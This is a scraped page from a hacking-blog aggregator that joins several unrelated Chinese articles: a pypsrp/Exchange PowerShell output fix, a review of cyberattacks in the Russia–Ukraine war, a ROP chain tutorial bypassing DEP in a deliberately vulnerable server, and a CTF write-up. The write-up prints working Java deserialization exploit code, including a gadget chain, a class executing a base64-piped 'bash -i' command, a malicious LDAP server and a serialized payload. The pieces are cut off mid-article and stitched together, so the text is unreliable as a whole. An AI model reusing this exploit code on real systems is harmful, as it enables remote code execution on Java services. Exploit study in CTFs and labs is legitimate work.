Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863287827

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00 前言pypsrp是用於PowerShell遠程協議(PSRP)服務的Python客戶端。我在研究過程中,發現在Exchange Powershell下存在一些輸出的問題,本文將要介紹研究過程,給出解決方法。

0x01 簡介Exchange PowerShell Remoting

pypsrp的使用

pypsrp存在的輸出問題

解決方法

0x02 Exchange PowerShell Remoting參考資料:

https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps

默認設置下,需要注意以下問題:

所有域用戶都可以連接Exchange PowerShell

需要在域內主機上發起連接

連接地址需要使用FQDN,不支持IP

通過Powershell連接Exchange PowerShell的命令示例:

1.png通過pypsrp連接Exchange PowerShell的命令示例:

2.png如果想要加入調試信息,可以添加以下代碼:

WX20221201-104743@2x.png

0x03 pypsrp存在的輸出問題我們在Exchange PowerShell下執行命令的完整返回結果如下圖

4.png但是通過pypsrp連接Exchange PowerShell執行命令時,輸出結果不完整,無法獲得命令的完整信息,如下圖

5.png

0x04 解決方法1.定位問題

通過查看源碼,定位到代碼位置:https://github.com/jborean93/pypsrp/blob/704f6cc49c8334f71b12ce10673964f037656782/src/pypsrp/messages.py#L207

我們可以在這裡添加輸出message_data的代碼,代碼示例:

6.png返回結果:

10.png 11.png 12.png 13.png在調用serializer.deserialize(message_data)提取輸出結果時,這裡只提取到了一組數據,忽略了完整的結果

經過簡單的分析,發現標籤內包含完整的輸出結果,所以這裡可先通過字符串截取提取出標籤內的數據,示例代碼:

15.png進一步分析提取出來的數據,發現每個標籤分別對應一項屬性,為了提高效率,這裡使用xml.dom.minidom解析成xml格式並提取元素,示例代碼:

16.png經測試,以上代碼能夠輸出完整的結果

按照pypsrp的代碼格式,得出優化pypsrp輸出結果的代碼:

17.png使用修改過的pypsrp連接Exchange PowerShell執行命令時,能夠返回完整的輸出結果,如下圖

18.png

經測試,在測試ProxyShell的過程中,使用修改過的pypsrp也能得到完整的輸出結果

補充:

如果使用原始版本pypsrp測試ProxyShell,可通過解析代理的返回結果實現,其中需要注意的是在作Base64解密時,由於存在不可見字符,無法使用.decode('utf-8')解碼,可以換用.decode('ISO-8859-1'),還需要考慮數據被分段的問題,實現的示例代碼如下:

19.png0x05 小結本文介紹了通過pypsrp連接Exchange PowerShell執行命令返回完整輸出結果的解決方法。

1.png

2022年2月24日之前的重大網絡事件時間表

在現代世界,發動任何類型的軍事行動之前都必將出現大規模的網絡攻擊活動,這反過來可以通過監測潛在衝突地區新出現的網絡攻擊來預測衝突發展情況。例如,在2013年末和2014年1月,研究人員觀察到Turla APT組織在烏克蘭的活動高於正常水平,並且BlackEnergy APT攻擊事件數量激增。同樣,在2022年2月初,研究人員注意到與Gamaredon CC服務器相關的活動量大幅飆升。這一活動達到了迄今為止從未見過的水平,這意味著為大規模的SIGINT(信號情報,通過攔截信號收集)收集工作正在進行。

2.png

如這些案例所示,在現代軍事衝突之前的幾天和幾週內,網絡戰中會出現與情報收集和破壞性攻擊有關的顯著跡象和峰值。當然,我們應該注意到,相反的情況也是可能的:例如,從2016年6月開始,但最值得注意的是,自2016年9月一直到2016年12月,Turla組織將其基於衛星的CC註冊量提高了2015年平均值的十倍。這表明Turla組織異常活躍,這表明該組織前所未有地調動了資源。與此同時,據我們所知,沒有發生隨後的軍事衝突。

如今的軍事行動是在實地收集支持情報之後進行的;這包括SIGINT和ELINT等。重大軍事行動(如2003年入侵伊拉克)還輔以旨在使敵人通信網絡癱瘓的強大網絡攻擊,在2022年2月,研究人員注意到與Gamaredon CC服務器相關的活動大幅增加,2013年底和2014年初,Turla和BlackEnergy的APT活動也出現了類似的激增。在軍事衝突發生前的幾天或幾週內,網絡戰會出現明顯的跡象和高峰。

在俄烏衝突衝突的第一天(2022年2月24日),烏克蘭實體遭受了大規模的無差別雨刷攻擊。這些攻擊的主要目標可能是造成混亂和混亂,而不是實現精確的戰術目標。相反,這一階段所使用的工具在本質上也是多種多樣的:

Ransomware (IsaacRansom);

冒牌勒索軟件(WhisperGate);

雨刷(hermetwiper, CaddyWiper, DoubleZero, IsaacWiper);

ICS/OT雨刷(AcidRain, industrroyer2)。

其中一些特別複雜。據我們所知,HermeticWiper仍然是野外發現的最先進的雨刷軟件。 industrroyer2是在一家烏克蘭能源供應商的網絡中發現的,如果攻擊者無法訪問與受害者使用的相同ICS設備,則不太可能開發它。也就是說,從軟件工程的角度來看,這些工具中的許多都非常粗糙,似乎是匆忙開發出來的。

除了AcidRain(見下文)之外,我們認為這些不同的破壞性攻擊都是隨機的和不協調的——而且我們認為,在戰爭的宏偉計劃中影響有限。

Viasat事件2月24日俄烏衝突爆發時,覆蓋烏克蘭地區的美國衛星運營商Viasat遭遇網絡攻擊,導致數千烏克蘭用戶、數万名歐洲其他地區用戶斷網。經調查,攻擊者利用錯誤配置的VPN設備入侵衛星網管理後台,向數万用戶側Modem下發破壞性指令,從而造成斷網。 KA-SAT衛星網絡曾經被“烏克蘭軍方所頻繁使用”。在被攻擊期間,中歐及東歐地區的KA-SAT衛星服務均發生中斷。這次通信服務中斷也影響到了德國,導致負責控制約5800颱風力渦輪機的調製解調器無法正常聯網。此外,來自法國、意大利、匈牙利、希臘和波蘭的客戶也受到不同程序影響。 5月10日,歐盟將這些惡意活動歸咎於俄羅斯聯邦。這是迄今為止與烏克蘭衝突有關的最複雜的攻擊之一。雖然破壞活動可能沒有嚴重破壞烏克蘭的防禦,但它在戰場之外產生了多重影響。刺激美國參議院要求在衛星網絡安全問題上採取行動,加速SpaceX Starlink的部署。

ViaSat的攻擊活動再次表明,網絡攻擊是現代武裝衝突的基本組成部分,可能直接支持軍事行動。在武裝衝突期間,針對共同通信基礎設施的網絡攻擊極有可能發生,因為交戰方可能認為這些攻擊具有雙重用途。由於互聯網的相互關聯性,針對此類基礎設施的網絡攻擊可能會對未捲入武裝衝突的各方產生副作用。網絡攻擊引發了人們對商業衛星系統網絡安全的擔憂,這些系統可能支持從自拍地理定位到軍事通信等各種應用。雖然軍事力量經常討論針對太空動能戰鬥的保護措施,而且更多的數據中心有望很快升空,但地面站管理系統和運營商似乎仍然高度暴露在常見的網絡威脅之下。

專業勒索軟件組織、黑客活動和DDoS攻擊一如既往,戰爭對信息格局有著非常具體的影響。在2022年尤其如此,因為人類已經掌握了有史以來最強大的信息傳播工具:社交網絡及其充分證明的放大效應。大多數真實世界中與戰爭有關的事件(小規模衝突、死亡人數、戰俘證詞)都在網上被放大。傳統新聞媒體也受到更廣泛的信息戰背景的影響。

DDoS攻擊和在較小程度上破壞隨機網站一直被安全社區視為低複雜性和低影響的攻擊。特別是DDoS攻擊,需要產生大量的網絡流量,攻擊者通常無法維持很長一段時間。一旦攻擊停止,目標網站就會恢復可用。除了電子商務網站暫時的收入損失,DDoS攻擊或破壞提供的唯一價值是受害者的羞辱。由於非專業記者可能不知道各種類型的安全事件之間的區別,他們隨後的報導造成了一種無能和安全不足的印象,可能會削弱用戶的信心。網絡攻擊的不對稱性質在支持大衛與歌利亞的形象方面發揮了關鍵作用,在網絡領域的象徵性勝利有助於說服地面部隊,在現實戰場上也可以取得類似的成就。

根據卡巴斯基DDoS防護公司的數據,自2022年初以來的11個月裡,該服務註冊的攻擊次數比2021年全年多了1.65次。雖然這種增長可能不是很顯著,但與2021年相比,這些資源受到攻擊的時間更長。在2021年,平均攻擊持續約28分鐘,在2022年- 18.5小時,幾乎是原來的40倍。最長的一次攻擊在2021年持續了2天,2022年持續了28天(或2486505秒)。

3.png

2021與2022年卡巴斯基DDoS防護檢測到的DDoS攻擊總持續時間(秒),按週計算

自戰爭開始以來,一些有明顯政治傾向的黑客組織已經出現,並開始開展一些活動。例如,臭名昭著的匿名組織組織了一場活動,將數十輛出租車同時叫到同一個地點,造成了莫斯科的交通堵塞。

卡巴斯基DDoS防護也反映了這一趨勢。大規模DDoS攻擊在一年中分佈不均,春季和初夏是最激烈的時期。

4.png

2021與2022年卡巴斯基DDoS防護檢測到的DDoS攻擊數,按週計算

攻擊者在2月至3月初達到高峰,這反映了黑客活動的增長,到了秋天,黑客活動已經停止。目前,我們看到了一個經常性的預期攻擊動態,儘管它們的質量發生了變化。 5月至6月,我們發現了極長時間的攻擊。然而,現在它們的長度已經穩定下來,而典型的攻擊過去只持續幾分鐘,現在則持續數小時。

2022年2月25日,臭名昭著的Conti勒索軟件組織宣布他們“全力支持俄羅斯政府”。聲明中有一句話:“如果有人決定對俄羅斯發動網絡攻擊或任何戰爭活動,我們將動用一切可能的資源,對敵人的關鍵基礎設施進行反擊。”該組織隨後很快發布了另一條帖子,澄清了他們在衝突中的立場:“作為對西方戰爭販子和美國對俄羅斯聯邦公民使用網絡戰的威脅的回應,Conti團隊正式宣布,如果西方戰爭販子試圖以俄羅斯或世界上任何俄語地區的關鍵基礎設施為目標,我們將動用我們的全部能力採取報復措施。我們不與任何政府結盟,我們譴責正在進行的戰爭。然而,由於西方主要以平民為目標發動戰爭,如果美國的網絡攻擊將危及和平公民的福祉和安全,我們將利用我們的資源進行反擊。”

兩天后,一名烏克蘭安全研究人員洩露了Conti組織成員之間的大量內部私人信息,涵蓋了從2021年1月開始的一年多的活動。這對該組織造成了重大打擊,他們看到自己的內部活動暴露在公眾面前,包括與數百萬美元贖金有關的比特幣錢包地址。與此同時,另一個名為“comomingproject”的網絡犯罪組織專門從事數據洩露,宣佈如果他們看到針對俄羅斯的攻擊,他們將支持俄羅斯政府:

5.png

其他組織,如Lockbit,更傾向於保持中立,聲稱他們是一個國際社會,包括俄羅斯人和烏克蘭人,而且“一切都是生意”:

6.png

2月26日,烏克蘭副總理兼數字轉型部長米哈伊洛马云惹不起马云費多羅夫(Mykhailo Fedorov)宣布創建一個Telegram頻道,以“繼續在網絡戰線上戰鬥”。最初的Telegram頻道名稱(itarmyourraine)有一個拼寫錯誤,因此創建了第二個。

7.png

烏克蘭的Telegram頻道

信道運營商不斷地給用戶分配任務,例如DDoS攻擊各種商業公司、銀行或政府網站:

8.png

烏克蘭IT部門發布的DDoS目標列表

據報導,在很短的時間內,由志願者組成的“烏克蘭IT軍”(通過Twitter和Telegram進行協調)對800多個網站進行了破壞或DDOS攻擊,包括莫斯科證券交易所等知名機構。

其他組織也觀察到了類似的活動,隨著衝突蔓延到鄰國,它們已經站隊。例如,白俄羅斯網絡游擊隊聲稱,他們將白俄羅斯鐵路改為手動控制,從而擾亂了鐵路的運營。目標是減緩俄羅斯軍隊在該國的行動。

9.png

白俄羅斯網絡游擊隊的帖子

一些表達了他們對烏克蘭衝突看法的勒索軟件或黑客組織的有限且迄今為止並不詳盡的列表包括:

10.png

在公開支持俄羅斯的組織中,最初作為對“烏克蘭IT軍”的回應而成立的Killnet可能是最活躍的。 4月下旬,他們攻擊了羅馬尼亞政府網站,以回應羅馬尼亞眾議院議長馬塞爾马云惹不起马云西奧拉庫(Marcel Ciolacu)在向烏克蘭當局承諾“最大限度的援助”後發表的聲明。 5月15日,Killnet在其telegram頻道上發布了一段視頻,向十個國家宣戰:美國、英國、德國、意大利、拉脫維亞、羅馬尼亞、立陶宛、愛沙尼亞、波蘭和烏克蘭。在這些活動之後,被稱為“匿名者”的國際黑客團體於5月23日宣布對Killnet發動網絡戰。

Killnet在2022年繼續其活動,此前他們在Telegram頻道上發布了一則聲明。 10月,該組織開始攻擊日本的某些組織,後來由於缺乏資金,他們停止了攻擊。後來,它攻擊了一個美國機場、政府網站和企業,但往往沒有取得重大成功。 11月23日,Killnet短暫關閉了歐盟的網站。 Killnet還多次針對拉脫維亞、立陶宛、挪威、意大利和愛沙尼亞的網站。雖然Killnet的方法並不復雜,但它們不斷成為頭條新聞,並引起人們對該組織活動和立場的關注。

俄烏衝突為各方新的網絡軟件活動創造了溫床,其中包括網絡犯罪分子和黑客,他們爭相支持自己最喜歡的一方;

我們可以預見,從現在起,黑客組織將捲入所有重大的地緣政治衝突;

網絡軟件活動正在蔓延到鄰國,並影響到大量機構,包括政府機構和私營公司;

烏克蘭IT軍(IT Army of Ukraine)等組織得到了政府的正式支持,他們的Telegram頻道擁有數十萬訂閱者;

大多數時候,這些組織實施的攻擊對沖突的影響非常有限。

黑客攻擊和隱私洩漏在試圖劫持媒體注意力的更為複雜的攻擊方面,自衝突開始以來,黑客和洩密活動一直在增加。這個過程很簡單,攻擊一個組織,並在網上發布其內部數據。從理論上講,這些數據洩露是可以操縱的。攻擊者有足夠的時間編輯任何已發布的文件,或者乾脆注入完全偽造的文件。需要注意的是,攻擊者完全沒有必要為了數據洩漏造成破壞而花費如此長的時間。這些數據的公開本身就證明發生了嚴重的安全事件,而合法的原始內容可能已經包含了犯罪信息。

在我們對2023年APT的預測中,我們預測黑客和洩密行動明年將會增加;

信息戰不僅針對各參與方,而是針對所有組織的。我們預計,絕大多數此類攻擊不會針對交戰雙方,而是針對那些被認為過於支持(或不夠支持)任何一方的組織;

無論是黑客攻擊還是DDoS攻擊,網絡攻擊都是國家之間發出攻擊信號的一種手段;

開源軟件武器化開源軟件有很多好處。首先,它通常是免費使用的,這意味著企業和個人可以節省軟件成本。然而,由於任何人都可以對代碼做出貢獻並進行改進,這也可能被濫用,進而打開安全陷阱門。另一方面,由於代碼可以公開檢查任何潛在的安全漏洞,這也意味著只要有足夠的審查,使用開源軟件的風險可以降低到合適的水平。

早在3月,流行的npm包“node ipc”的開發者RIAEvangelist發布了該軟件的修改版本,如果運行的系統具有俄羅斯或白俄羅斯的IP地址,則該軟件包含特殊功能。在這樣的系統上,代碼將用一個心形表情符號覆蓋所有文件,另外部署來自同一開發人員創建的另一個模塊的消息with - love - from - america .txt。 node-ipc包在全球擁有超過80萬用戶。與開源軟件通常的情況一樣,部署這些修改過的“node-ipc”版本的效果並不僅限於直接用戶,其他開源軟件包,例如“Vue.js”,自動包含最新的node-ipc版本,放大了效果。

旨在俄羅斯市場傳播的軟件包並不總是會導致文件被破壞,其中一些包含隱藏功能,例如在軟件網站的某個部分添加烏克蘭國旗或支持該國的政治聲明。在某些情況下,該軟件包的功能被刪除,並被政治通知所取代。值得注意的是,並不是所有的包都隱藏了這個功能,一些開發者在軟件包描述中宣布了這個功能。

11.png

其中一個項目鼓勵傳播一個文件,該文件一旦打開,就會開始通過JavaScript訪問註冊服務器的各個頁面,從而使網站過載。

GitHub上發現的其他存儲庫和軟件模塊包括專門為DDoS俄羅斯政府、銀行和媒體網站創建的存儲庫,專門用於收集俄羅斯基礎設施和活動數據的網絡掃描儀。

隨著衝突的持續,流行的開源軟件包可以被開發人員或黑客用作抗議或攻擊平台;

這種攻擊的影響可以進一步擴展到開源軟件本身,傳播到其他自動依賴木馬代碼的軟件包;

市場撕裂在過去的幾年中,尤其是2014年之後,這一過程開始擴展到IT安全領域,國家通過法律禁止彼此的產品、服務和公司。自2022年2月俄烏衝突爆發以來,我們看到許多西方公司退出俄羅斯市場,讓他們的用戶在獲得安全更新或支持方面陷入困境。與此同時,一些西方國家推動法律禁止使用俄羅斯軟件和服務,因為這些軟件和服務有被用於發動攻擊的潛在風險。顯然,不能完全排除政治壓力將一些小市場主體的產品、技術和服務武器化的可能性。然而,當涉及到全球市場領導者和受人尊敬的供應商時,我們認為這是極不可能的。

另一方面,尋找替代解決方案可能是極其複雜的。我們經常發現,來自本地供應商的產品的安全開發文化通常明顯不如全球領先企業,它們很可能存在顯而易見安全錯誤和零日漏洞,使它們很容易成為網絡犯罪分子和黑客活動分子的獵物。

網絡攻擊對戰爭結果的影響地緣政治正在發揮重要作用,分裂的進程可能會擴大;

當供應商終止對產品的支持或退出市場時,安全更新可能是首要問題;

用本地產品取代成熟的全球領導者,可能會為利用零日漏洞的網絡犯罪分子打開大門;

網絡戰爭會爆發嗎?自俄烏衝突開始以來,網絡安全界一直在爭論烏克蘭發生的事情是否屬於“網絡戰爭”。一個不爭的事實是,衝突爆發時確實發生了重大網絡活動。

另一方面,許多觀察家認為,在發生衝突的情況下,先發製人的網絡攻擊會讓自己佔據主動。但事實上,除了Viasat事件(其實際影響仍難以評估)之外,這一事件根本沒有發生。這場衝突反而揭示了網絡力量和實際戰場之間缺乏協調,並在許多方面將網絡攻擊降格為從屬角色。在衝突的最初幾週觀察到勒索軟件攻擊,充其量只能算是乾擾。後來,當今年11月衝突升級,烏克蘭基礎設施(尤其是能源網絡)明確成為目標後,很明顯,俄羅斯軍方選擇的工具是導彈,而不是網絡攻擊。

如果你認同網絡戰爭的定義,即通過網絡手段支持的任何動態衝突,無論其戰術或戰略價值如何,那麼2022年2月確實發生了一場網絡戰爭。

網絡攻擊對戰爭結果的影響遠沒有想像的那麼大,事實證明,對計算機的物理破壞似乎更容易、更便宜、更可靠。我們認為,網絡攻擊在戰爭背景下的效果以前被我們大大高估了。

總結俄烏衝突將對整個網絡安全行業和環境產生持久影響。無論“網絡戰爭”一詞是否適用,不可否認的是,當一個大國捲入戰爭時,衝突將永遠改變每個人對戰時網絡活動的期望。

在戰爭爆發之前,幾個正在進行的多方進程(聯合國OEWG和GGE)試圖就網絡空間中可接受和負責任的行為達成共識。鑑於全球目前所經歷的極端地緣政治緊張局勢,這些本已艱難的討論能否在不久的將來取得成果令人懷疑。

DEP(數據執行保護)是一種內存保護功能,允許系統將內存頁標記為不可執行。 ROP(面向返回的編程)是一種利用技術,允許攻擊者在啟用DEP等保護的情況下執行shellcode。在這篇文章中,我們將介紹應用程序的逆向過程,以發現緩衝區溢出漏洞,並開髮用於繞過DEP的ROP小工具鏈(Gadget Chain)。

我們將在開發過程中使用以下工具:QuoteDB、TCPView(一個查看端口和線程的小工具,只要木馬在內存中運行,一定會打開某個端口,只要黑客進入你的電腦,就有新的線程)、IDA Freeware、WinDbg(在windows平台下,強大的用戶態和內核態調試工具)和rp++。

QuoteDB是一個設計上易受攻擊的應用程序,創建它是為了實踐逆向工程並利用它進行開發。如下圖所示,該應用程序正在偵聽端口3700上的網絡連接:

1.jpg

我們已經使用TCPView確認程序確實在監聽端口3700。

2.jpg

現在我們需要對應用程序進行逆向工程,看看它是如何處理網絡連接的。 accept函數用於允許指定端口上的傳入連接,然後進程創建一個運行“handle_connection”例程的新線程,如下所示:

3.jpg

recv函數用於從連接的套接字接收數據:

4.jpg

我們已經開發了一個基本的Python腳本,它創建一個TCP套接字,並在端口3700上向遠程服務器發送1000個“a”字符:

5.jpg

我們已將WinDbg附加到QuoteDB.exe進程,並列出了加載的模塊,如下圖所示。

6.jpg

我們可以使用“bp”命令在recv函數調用後放置斷點,使用“bl”命令確認斷點已成功設置:

7.jpg

recv函數返回後,EAX寄存器包含以十六進制接收的字節數:

8.jpg

緩衝區的前4個字節表示一個操作碼,該操作碼被移到EAX寄存器中,然後打印在命令行中:

9.jpg

下圖顯示了WinDbg中的printf調用,我們可以觀察到第三個參數(=Opcode)由4個“A”字符組成:

10.jpg

該進程顯示源IP地址、源端口、緩衝區長度和十進制的操作碼:

11.jpg

應用程序從Opcode中減去0x384(十進制900),並將結果與4進行比較。這是一個帶有5個示例的開關,也顯示在下圖中。

12.jpg

EAX寄存器大於4,執行流被重定向到默認情況,該情況調用“log_bad_request”函數:

13.jpg

上述函數包含緩衝區溢出漏洞,如下圖所示,可執行文件在堆棧上分配0x818(2072)字節,用0初始化緩衝區,並在不檢查邊界的情況下將有效負載複製到此緩衝區:

14.jpg

發生溢出是因為要復制的字符數(0x4000)大於緩衝區的大小,並且可能會重寫返回地址:

15.jpg

我們選擇發送3000個“A”字符以利用該漏洞。如下所示,返回地址在堆棧上被重寫,程序因此崩潰:

16.jpg

17.jpg

我們使用了“msf-pattern_create”命令來生成一個唯一的模式,該模式將為我們提供偏移量。

18-1536x180.jpg

應用程序在不同的地址崩潰,該地址用於使用“msf-pattern_offset”命令確定精確的偏移量:

19.jpg

20.jpg

我們修改了概念證明,以包括上述偏移量。在正確的地址崩潰後,ESP寄存器指向我們控制的緩衝區的最後一部分:

21.jpg

22.jpg

我們使用了narly WinDbg擴展來顯示加載的模塊及其內存保護,下圖顯示了該可執行文件是在啟用ASLR和DEP保護的情況下編譯的。

23.jpg

Windows Defender Exploit Guard可以用來啟用/禁用ASLR。我們需要進入“Exploit protection settings”,選擇“Program settings”頁簽,點擊“Add Program to custom”,選擇“Choose exact file path”選項:

24.jpg

25.jpg

我們想通過發送從“\x00”到“\xFF”的所有字節並確定它們如何寫入堆棧來找出哪些字符被認為是“不適合”的:

26-1.jpg

如下圖所示,沒有不適合的字符,不過為了研究,我們將“\x00”視為不適合字符,因為它通常是不適合字符。正因為如此,漏洞開發過程稍微複雜一些,但它可能更容易適應其他應用程序。

27.jpg

我們使用rp++工具從“SysWOW64\kernel32.dll”模塊中提取ROP小工具,因為ASLR是禁用的,所以我們可以選擇任何提供必要ROP小工具的DLL,但是,我們將在以後的文章中看到應用程序洩漏特定DLL中的地址。我們已將小工具中的最大指令數設置為5:

28.jpg

29.jpg

由於DEP保護,堆棧不再是可執行的,我們需要找到執行shellcode的方法。我們可以使用VirtualAlloc、VirtualProtect和WriteProcessMemory等API來繞過DEP。 VirtualAlloc函數用於保留、提交或更改進程地址空間中頁面的狀態。該函數有4個參數:

lpAddress

dwSize

flAllocationType

flProtect

我們的目的是將flAllocationType參數設置為0x1000(MEM_COMMIT),將flProtect設置為0x40(PAGE_EXECUTE_READWRITE)。我們需要在堆棧上創建以下框架:

VirtualAllocaddress

Returnaddress(Shellcodeaddress)

lpAddress(Shellcodeaddress)

dwSize(0x1)

flAllocationType(0x1000)

flProtect(0x40)

我們為每個元素分配了一個特定的值,需要在運行時使用正確的值對其進行修改。

30-1.jpg

如下圖所示,可以在ESP寄存器的固定偏移處找到框架:

31.jpg

kernel32.dll模塊的起始地址可以使用WinDbg來標識。所有ROP小工具的地址必須使用該值而不是“ROP.txt”文件中的加載地址來計算:

32.jpg

首先,我們需要找到一個保存ESP寄存器值的ROP小工具。我們確定了一個將ESP寄存器複製到ESI寄存器的寄存器:

33.jpg

我們修改了Python腳本,以包含kernel32地址和上述ROP小工具偏移量,如下所示:

34-1.jpg

我們已經成功地將執行流程重定向到我們的第一個ROP小工具,接著將其他ROP小工具鏈接在一起,因為ESP仍然指向我們的緩衝區:

35.jpg

36.jpg

現在我們需要找到從ESI寄存器中減去0x1C的方法。然而,由於缺少涉及使用ESI寄存器進行計算的ROP小工具,我們找到了一個將ESI寄存器複製到EAX中的ROP小工具。唯一的問題是ESI也被“POP ESI”指令修改,但是,它不會影響我們的利用:

37.jpg

38.jpg

在許多ROP小工具中發現的另一個寄存器是ECX。我們已經確定了一個ROP小工具,它從堆棧中彈出一個值到ECX寄存器中,另一個小工具將EAX和ECX寄存器加在一起。加上負值等於減去相同的正值:

39.jpg

40.jpg

通過在之前的EAX值上添加-0x1C (=ECX)值,EAX指向VirtualAlloc框架:

41.jpg

因為EAX在任何計算中都很有用,所以我們需要在執行任何其他操作之前找到保存它的方法。我們發現了一個ROP小工具,它將EAX寄存器複製到ECX中,ECX將用於修改框架中的值。事實上,EAX也被這個ROP小工具修改了,但這並不影響我們的利用:

42.jpg

我們修改後的概念證明如下圖所示。 “junk”值對堆棧對齊很有用,對應於“POP reg”和“retn4”指令。

43.jpg

再次運行Python腳本後,我們可以觀察到ECX寄存器的值與之前的EAX寄存器相同,並指向VirtualAlloc框架:

44.jpg

IAT(導入地址表)包含指向由其他DLL導出的函數的指針。例如,kernel32.dll在VirtualAlloc的IAT中有一個條目,即使VirtualAlloc實際地址發生變化,該條目也保持不變:

45.jpg

我們使用了“POP EAX”指令將VirtualAlloc IAT複製到EAX寄存器中,需要對其進行解除引用才能獲得VirtualAlloc地址,如下所示:

46.jpg

47.jpg

在更新Python腳本並再次運行之後,我們成功地獲得了EAX中的VirtualAlloc地址:

web

ai_java

首先通过附件帐号信件获取到帐号
image.png
image.png
通过base64或者jsfuck可获取提示js和c,审计一下js那么可以看到c函数,运行一下。获取到 github 项目地址
image.png
查找提交历史我们发现了源码
image.png
审计源码发现为 可能存在spring–boot 未授权绕过
image.png
在admin的页面下的/post_message/接口存在fastjson解析
image.png

image.png
查看具体版本发现无法直接ladp攻击,查看依赖
发现引入了shiro。使用 SerializedData + LDAP 攻击. 和无依赖 CB 进行反弹 shell

public class CB {
public static void setFieldValue(Object obj, String fieldName, Objec
t value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Comparator getValue(Object instance) throws NoSuchFiel
dException, IllegalAccessException {
Class<?> clazz = instance.getClass();
// 获取私有变量的 Field 对象
Field privateField = clazz.getDeclaredField("INSTANCE");
// 设置私有变量的访问权限
privateField.setAccessible(true);
// 获取私有变量的值
Object value = privateField.get(instance);
return (Comparator) value;
}
public static byte[] getPayload() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(evil.class.getName());
byte[] code =clazz.toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "tvt");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator(null, getVa
lue(new Headers()));
Queue queue = new PriorityQueue(2, comparator);
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
byte[] byteArray = barr.toByteArray();
String base64EncodedData = Base64.getEncoder().encodeToString(by
teArray);
System.out.println(base64EncodedData);
return byteArray;
}
}
public class evil extends AbstractTranslet {
public void transform(DOM var1, SerializationHandler[] var2) throws
TransletException {
}
public void transform(DOM var1, DTMAxisIterator var2, SerializationH
andler var3) throws TransletException {
}
public static void main(String[] args) throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
public evil() throws Exception {
Runtime.getRuntime().exec("bash -c {echo,5L2g5oOz6LWj5LuA5LmI44CC5YaZ6Ieq5bex55qE5ZG95Luk}|{base64,-d}|{bash,-i}");
}
}
public class LDAPSerialServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8000/#EvilClass"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectory
ServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationIntercep
tor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(con
fig);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-N
LS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationI
nterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResul
t result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult resu
lt, String base, Entry e ) throws Exception {
System.out.println("Send LDAP reference result for " + base +
" return CB gadgets");
e.addAttribute("javaClassName", "DeserPayload"); //$NON-NLS-
1$
String base64EncodedData = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3Jp
dHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0N
vbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbk
NvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAAST
GphdmEvbGFuZy9TdHJpbmc7eHBzcgA/Y29tLnN1bi54bWwuaW50ZXJuYWwud3MudHJhbnNw
b3J0LkhlYWRlcnMkSW5zZW5zaXRpdmVDb21wYXJhdG9yyIEeXDpxA/ECAAB4cHQAEG91dHB
1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybm
FsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlc
kkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2
YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZ
hL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAABdX
IAAltCrPMX+AYIVOACAAB4cAAABinK/rq+AAAANAA1CgAiACMIACQKACIAJQoAJgAnCgAHA
CgHACkHACoBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRl
cm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3Nlcml
hbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYm
